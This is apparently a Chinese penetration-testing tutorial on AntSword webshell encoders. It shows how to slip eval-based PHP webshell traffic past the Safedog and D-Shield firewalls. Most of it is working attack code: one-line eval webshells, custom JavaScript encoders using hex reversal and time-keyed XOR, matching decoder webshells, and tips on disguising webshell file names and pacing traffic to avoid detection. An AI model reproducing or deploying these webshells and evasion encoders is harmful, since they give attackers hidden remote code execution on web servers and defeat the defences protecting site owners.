蚁剑编码器实战:绕过安全狗与D盾的WAF检测机制
1. 项目概述当渗透测试遭遇WAF在渗透测试的实战中尤其是针对Web应用的测试Web应用防火墙WAF是横亘在测试人员面前的一道常见且棘手的屏障。无论是商业产品如安全狗、D盾还是开源的ModSecurity、Nginx-Lua-WAF它们都像尽职的哨兵时刻分析着流入的HTTP流量一旦检测到疑似攻击的字符串或模式便会毫不犹豫地拦截请求返回一个刺眼的“403 Forbidden”或“您的请求疑似攻击行为”。对于使用中国蚁剑这类图形化Webshell管理工具的测试者来说直接发送未经处理的Payload无异于“自投罗网”。因此“编码器”这个功能模块就从一项可选配置变成了决定连接能否建立、命令能否执行的关键武器。它本质上是一个实时在线的“翻译官”和“伪装者”负责在Payload发送前对其进行编码、混淆或变形以期绕过WAF基于正则表达式或语义分析的检测规则。这个项目的核心就是深入探讨如何利用蚁剑内置及自定义的编码器来有效规避以安全狗和D盾为代表的WAF的检测机制。这不仅仅是一个工具使用技巧更是一场关于攻击特征与防御规则之间动态博弈的思维训练。我们需要理解WAF的常见检测原理才能有的放矢地设计或选用编码器。常见的检测维度包括关键词匹配如evalsystembase64_decode、函数黑名单、异常参数长度、特殊的字符序列如${?php以及流量频率等。编码器的任务就是通过变换让这些“敏感特征”在HTTP请求中变得“面目全非”但对后端Webshell来说经过还原后依然是可执行的正确代码。2. 核心思路编码器的工作原理与WAF绕过逻辑2.1 蚁剑编码器的工作流程在蚁剑中编码器并非一个独立的软件而是一个在连接配置中可以挂载的脚本模块通常为JavaScript。它的工作流程是双向且实时的发送阶段请求编码当你在蚁剑中执行一个操作例如“文件管理-列目录”蚁剑会生成一段对应功能的PHP或其他语言代码作为Payload。在发送给目标服务器之前这段Payload会先经过你选定的“编码器”进行处理。编码器可以对其进行Base64编码、Hex编码、ROT13移位、插入随机注释或空白字符、字符串反转、甚至自定义的加密算法。接收阶段响应解码目标服务器上的Webshell接收到被编码的Payload后会先执行一段对应的“解码器”逻辑这部分逻辑通常由编码器在Payload中动态生成或Webshell本身内置将Payload还原为原始的可执行代码然后执行。执行结果例如目录列表会以同样的编码方式返回给蚁剑客户端。客户端解码蚁剑客户端接收到被编码的响应后再利用编码器中的解码逻辑将结果显示给用户。整个过程对用户是透明的你依然在图形界面中操作但网络流量中的内容已经过“改头换面”。关键在于这种“改头换面”必须让WAF认不出同时让Webshell能正确还原。2.2 WAF的检测盲区与编码器设计方向WAF并非全知全能它的检测依赖于预设的规则库。编码器的设计就是针对这些规则的盲区或薄弱环节进行突破绕过关键词检测这是最直接的方式。如果WAF规则是/eval\s*\(/i来检测eval函数那么编码器可以将eval拆分为e.v.a.l或者用hex2bin(6576616c)来动态拼接甚至使用PHP的变量函数$feval; $f($_POST[‘cmd’]);。核心思路是避免在请求体中直接出现完整的敏感字符串。混淆数据传递方式默认的Payload往往通过$_POST[‘ant’]这样的固定参数传递。编码器可以改为从$_GET、$_COOKIE、HTTP头如X-Forwarded-For中提取数据或者将数据拆分到多个参数中再在服务端组装。利用编码与解码函数Base64编码是最常见的但很多WAF也会解码Base64后检查内容。这时可以采用多重编码如Base64后Hex 再ROT13或者使用一些冷门的编码方式如UUencode、Quoted-Printable。更高级的做法是使用自定义的对称加密密钥通过其他渠道传递。添加冗余噪音在Payload中插入大量无意义的注释、空白字符空格、制表符、换行、字符串拼接等可以扰乱WAF基于正则表达式的匹配特别是对长度和模式有严格限制的规则。例如将?php eval($_POST[‘a’]);?插入成百上千个随机注释后可能就不再匹配WAF里那条简单的\?php.*eval规则了。利用协议特性或容器特性例如通过分块传输编码Chunked Transfer Encoding来拆分攻击Payload或者利用HTTP参数污染HPP等技术。这类方法通常需要编码器与请求头修改器配合使用。以安全狗和D盾为例它们作为国内主流的主机层WAF规则集对常见的Webshell特征和攻击手法覆盖较全但对高度定制化、动态生成的混淆代码以及利用PHP灵活语法特性的攻击防御效果会打折扣。我们的编码器设计就是要朝着“高度定制化”和“利用语言特性”这两个方向努力。3. 实战演练针对安全狗/D盾的编码器配置与绕过3.1 环境准备与基础检测在开始编写编码器之前建立一个测试环境至关重要。你可以在本地虚拟机中搭建一个PHP环境并安装安全狗或D盾的测试版。准备一个最基础的一句话Webshell?php eval($_POST[‘pass’]);?密码为pass。首先在蚁剑中不使用任何编码器即选择“default”或“无”尝试连接这个Webshell。大概率你会立刻收到拦截页面事件ID可能类似于“事件id31-dect-186-xxxxxx”。查看WAF的拦截日志你会看到它识别出了eval($_POST[这个特征。这就是我们的起点。3.2 初级绕过使用内置编码器与简单混淆蚁剑内置了一些编码器如base64rot13等。我们可以先尝试使用base64编码器。配置蚁剑在添加数据时URL填写你的Webshell地址连接密码填写pass在“编码器”下拉菜单中选择base64。原理分析选择base64后蚁剑发送的Payload会变成类似?php eval(base64_decode($_POST[‘pass’]));?吗不这样依然会被检测因为base64_decode和eval还是连在一起。实际上蚁剑的base64编码器工作原理是它将你要执行的命令代码如system(‘whoami’);进行Base64编码然后将编码后的字符串作为POST数据发送。Webshell需要预先修改为?php eval(base64_decode($_POST[‘pass’]));?。这样WAF看到的POST数据是一串Base64密文如d2hvYW1p而看不到明文的system等函数。实战效果对于早期版本或规则宽松的WAF这种方法可能直接绕过。但如今的安全狗和D盾很多规则会尝试对base64_decodegzinflate等常见解码函数附近的参数进行解码检查。因此仅使用简单的Base64编码很可能依然被拦截。你需要将Webshell中的base64_decode也进行混淆例如?php $f ‘base’ . (32*2) . ‘_decode’; // 拼接出 ‘base64_decode’ eval($f($_POST[‘pass’])); ?同时在蚁剑中仍然使用base64编码器。这样WAF需要先识别出变量拼接的base64_decode再对其参数进行解码检查难度增加。注意修改Webshell意味着你需要有文件写入权限这在真实的渗透测试中可能是一个单独的利用步骤例如利用文件上传漏洞。我们讨论的编码器更多是在已有一个可连接Webshell的基础上为了稳定使用而进行的流量绕过。3.3 中级绕过自定义编码器以Hex反转为例当内置编码器失效时就需要我们编写自定义编码器。蚁剑的编码器是一个JS文件存放于antSword/antSword/encoders/目录下。我们创建一个新文件比如叫my_bypass.js。目标设计一个编码器将Payload进行Hex编码然后反转字符串最后再在开头和结尾添加随机注释块。编码器代码示例my_bypass.js/** * 自定义编码器Hex 反转 随机注释包装 * param {String} data - 待编码的原始PayloadPHP代码 * returns {String} - 编码后的Payload */ module.exports (pwd, data) { // 1. 将原始Payload转换为Hex字符串 let hexPayload Buffer.from(data[‘_’]).toString(‘hex’); // data[‘_’] 是蚁剑传来的核心代码 // 2. 反转Hex字符串 let reversedHex hexPayload.split(‘’).reverse().join(‘’); // 3. 生成随机注释块 let randomComment ‘/*’ Math.random().toString(36).substr(2) ‘*/’; // 4. 构造最终的Payload。Webshell需要能解析这个结构。 // 假设Webshell期望接收一个名为‘c’的参数其值是这个被处理后的字符串。 data[‘c’] randomComment reversedHex randomComment; // 5. 删除原始的未编码数据避免泄露 delete data[‘_’]; // 6. 必须返回修改后的data对象 return data; };对应的Webshell需要修改为?php error_reporting(0); $c $_POST[‘c’]; // 去除首尾的随机注释 $c substr($c, 2, -2); // 假设注释是/*...*/格式去掉‘/*‘和‘*/’ $c substr($c, strpos($c, ‘*/’)2); // 更稳妥地去除开头注释 $c substr($c, 0, strrpos($c, ‘/*’)); // 去除结尾注释 // 反转字符串 $c strrev($c); // Hex解码 $code hex2bin($c); // 执行 eval($code); ?在蚁剑中使用将my_bypass.js文件放入编码器目录。新建连接在“编码器”中选择my_bypass。连接密码留空或任意填写因为我们的参数名是c。需要在“请求配置”-“其他参数”中确保数据是通过POST的c参数发送。尝试连接并执行命令。为什么这个编码器可能绕过WAFHex编码将原始代码转换为纯十六进制数字彻底消除了所有关键词。字符串反转进一步打乱了Hex字符串的序列即使WAF有Hex解码检测功能解码后也是一堆乱码。随机注释包裹每次请求的Payload首尾都不一样干扰了基于固定模式或哈希值匹配的规则。自定义参数名不使用常见的antpasscmd等参数名规避了针对特定参数名的检测。这个组合增加了WAF的检测成本它需要识别出$_POST[‘c’]是攻击输入剥离随机注释识别出字符串被反转将其反转回来识别出这是Hex编码并进行解码最后再对解码后的原生PHP代码进行特征匹配。任何一步失败都可能导致绕过。3.4 高级技巧动态密钥与多态编码对于防守严密的WAF静态的编码解码方式一旦被识别就会被加入规则库。因此更高级的编码器需要具备“多态”或“动态”特性。思路每次请求使用一个动态生成的密钥或随机数参与编码过程。这个密钥可以通过时间戳、客户端IP的某个哈希值或者服务器返回的某个固定值如网页标题的MD5前几位来生成。编码器和解码器Webshell端使用相同的算法生成这个密钥。简化示例基于时间戳的异或编码编码器my_xor.js:module.exports (pwd, data) { let payload data[‘_’]; // 获取当前时间戳秒取最后一位数字作为简易密钥 let key Date.now().toString().slice(-1); let encoded ‘’; for(let i0; ipayload.length; i) { // 将字符的ASCII码与密钥进行异或然后转为两位Hex let xorChar (payload.charCodeAt(i) ^ key.charCodeAt(0)).toString(16).padStart(2, ‘0’); encoded xorChar; } // 将密钥也Hex后与编码内容一起发送格式为‘密钥:密文’ data[‘x’] Buffer.from(key).toString(‘hex’) ‘:’ encoded; delete data[‘_’]; return data; };Webshell:?php error_reporting(0); $input $_POST[‘x’]; list($keyHex, $cipherHex) explode(‘:’, $input); $key hex2bin($keyHex); $cipher hex2bin($cipherHex); $payload ‘’; for($i0; $istrlen($cipher); $i) { $payload . chr(ord($cipher[$i]) ^ ord($key)); } eval($payload); ?这种方法的优点是每次请求的密文都不同因为密钥随时间变化极大地增加了基于流量特征指纹进行检测的难度。WAF很难为这种不断变化的Payload制定一条通用的静态规则。4. 编码器实战中的注意事项与深度优化4.1 编码器与Webshell的协同编写编码器最大的陷阱是“客户端编码服务端不解码”或“解码逻辑错误”。务必牢记一一对应每一个自定义编码器必须对应一个修改过的、包含匹配解码逻辑的Webshell。你不能用A编码器去连接一个只支持Base64解码的Webshell。本地测试在将编码器用于真实目标前务必在本地测试环境中充分测试。可以搭建一个带有WAF的测试环境或者使用简单的日志脚本记录蚁剑发送的原始请求和Webshell接收到的数据确保编解码流程畅通无阻。参数名同步编码器中data[‘xxx’]设置的参数名如cx必须与Webshell中$_POST[‘xxx’]获取的参数名完全一致。大小写敏感。4.2 性能与隐蔽性的平衡复杂的编码算法如AES加密、多次迭代的变换虽然隐蔽性高但会带来两个问题Payload体积膨胀经过多重编码和添加冗余后Payload可能变得很大。过大的POST数据包本身可能成为WAF或IDS的异常流量检测目标。执行效率降低Webshell端需要进行复杂的解码运算可能会增加CPU使用率在极端情况下可能引发注意。因此在设计时需要权衡。通常2到3层中等复杂度的变换如混淆变量名 - 自定义编码 - 添加随机噪音足以应对大多数场景。避免使用过于消耗资源的算法。4.3 结合其他绕过技术编码器主要解决的是HTTP请求Body内容的绕过。在实战中还需要结合其他技术形成组合拳请求头修改蚁剑的“请求配置”可以修改User-Agent、Cookie、Referer等。将其伪装成正常浏览器或搜索引擎爬虫的请求头。HTTPS连接如果目标站点启用HTTPS务必使用https://协议连接。WAF对加密流量的内容检测可能依赖服务器解密后的镜像但使用HTTPS本身是更隐蔽的行为。路径与文件名混淆将Webshell文件命名为logo.jpg.php、index.php.bak等或藏在深目录、合法目录下可以绕过一些基于路径或文件名特征的防护规则。流量低频化避免在蚁剑中快速、连续地执行大量命令如快速翻看多个目录。模拟正常用户的访问间隔可以规避基于请求频率的防护。4.4 针对安全狗/D盾的特殊技巧根据社区经验安全狗和D盾有一些可以针对性利用的特点安全狗对$_GET、$_POST、$_REQUEST的检测非常严格但对file_get_contents(‘php://input’)直接读取原始输入流的检测可能较弱。可以尝试编写编码器将Payload放在HTTP请求的Body原始数据中Webshell通过php://input读取并解码。D盾以其强大的静态代码扫描能力著称对于已写入文件的Webshell检测能力强。但对于通过编码器动态生成、仅在内存中拼接执行的代码只要最终执行的字符串不包含明显特征就有可能绕过其动态监测。因此重点应放在最终eval或assert函数执行的字符串的混淆程度上。共同点两者都对一些PHP“黑魔法”函数和技巧有持续的规则更新。例如使用create_function、preg_replace的/e模式已废弃、call_user_func等间接执行方式可能在某些版本中仍有奇效。编码器可以尝试生成这类代码。5. 常见问题排查与编码器调试实录在编写和使用自定义编码器时你肯定会遇到各种连接失败、命令执行无反应的问题。以下是一个系统的排查流程和常见问题解决记录。5.1 连接失败返回空白、404或WAF拦截页检查Webshell地址和密码这是最基础也最容易被忽略的。确认URL无误并且Webshell文件确实存在且可访问。检查编码器与Webshell是否匹配症状使用自定义编码器后连接时服务器返回空白页或一个非WAF拦截的错误。排查在Webshell文件开头添加日志功能将接收到的$_POST数据写入一个文本文件。然后从蚁剑发起连接查看日志文件内容。对比编码器发送的数据和Webshell期望的数据格式是否一致。常见不匹配包括参数名不对、编码格式不对比如Webshell期待Base64但收到Hex、缺少必要的分隔符等。示例调试Webshell?php file_put_contents(‘/tmp/debug.log’, date(‘Y-m-d H:i:s’) . “ POST: ” . print_r($_POST, true) . “\n—\n”, FILE_APPEND); // … 你的解码和执行代码 … ?确认WAF是否仍在拦截症状连接返回明确的WAF拦截页面如安全狗的“您的请求疑似攻击行为”。排查说明当前的编码方式仍然被规则命中。需要增加混淆复杂度或更换思路。查看WAF日志如果有权限获取更详细的拦截原因。也可以尝试使用更简单的Payload如仅仅输出phpinfo();来测试WAF对基础功能的检测阈值。5.2 连接成功但执行命令无结果或出错检查解码逻辑症状蚁剑显示连接成功左侧树状列表出现但执行任何命令都无反应或返回乱码。排查这通常意味着解码过程出了问题但Webshell本身被执行了所以连接成功。在Webshell的解码逻辑后、执行eval前将解码后的$payload内容写入日志。看看还原出来的代码是否正确。常见问题有字符串反转方向反了、Hex解码时字符串长度非偶数、加密解密的密钥不一致等。检查代码执行环境症状解码后的代码正确但执行失败。排查在解码后先执行一句简单的echo “test”;或print_r(ini_get(‘disable_functions’));看看是否是systemshell_exec等函数被禁用。蚁剑的“虚拟终端”和“文件管理”依赖这些函数。如果被禁用需要寻找替代方案如使用passthru、popen、反引号操作符或者利用PHP的LD_PRELOAD等技巧绕过禁用函数这已超出编码器范畴属于Webshell后门技术。5.3 编码器本身的调试蚁剑的编码器是Node.js环境下的JavaScript。你可以通过以下方式调试在编码器中添加日志使用console.log()输出中间变量。但注意这些日志会输出在蚁剑的运行终端如果你是从命令行启动的蚁剑或开发者工具控制台如果使用打包版本且开启了调试模式。这对于查看编码前后的数据格式非常有用。module.exports (pwd, data) { console.log(“原始数据:”, data[‘_’]); // … 编码逻辑 … console.log(“编码后数据:”, data[‘c’]); return data; };模拟测试可以单独写一个Node.js脚本引入你的编码器函数模拟蚁剑传入数据观察输出确保逻辑正确。5.4 稳定性与超时问题复杂的编码解码特别是涉及多次循环或加密运算可能在网络延迟高或服务器性能差的环境下导致请求超时。症状执行命令经常超时或大文件上传下载不稳定。解决优化编码器算法减少不必要的循环和字符串操作。在蚁剑的“请求配置”中适当增加“超时时间”。考虑将最耗时的解码部分转移到客户端蚁剑执行服务器端只做最简单的拼接或一次解码。但这需要更强的Webshell与编码器协同设计。绕过WAF是一个持续对抗的过程。今天有效的编码器明天可能因为WAF规则更新而失效。因此理解原理比记住某个特定的编码脚本更重要。核心思想永远是让攻击Payload在传输过程中尽可能不像攻击Payload同时保证其在目标服务器上能被正确还原并执行。这需要你对Web开发、网络协议、PHP语言特性以及WAF的运作机制都有一定的了解。保持学习关注安全社区的最新绕过技巧并不断在自己的测试环境中实践验证是提升这方面能力的唯一途径。最后请务必在合法授权的范围内进行所有测试活动。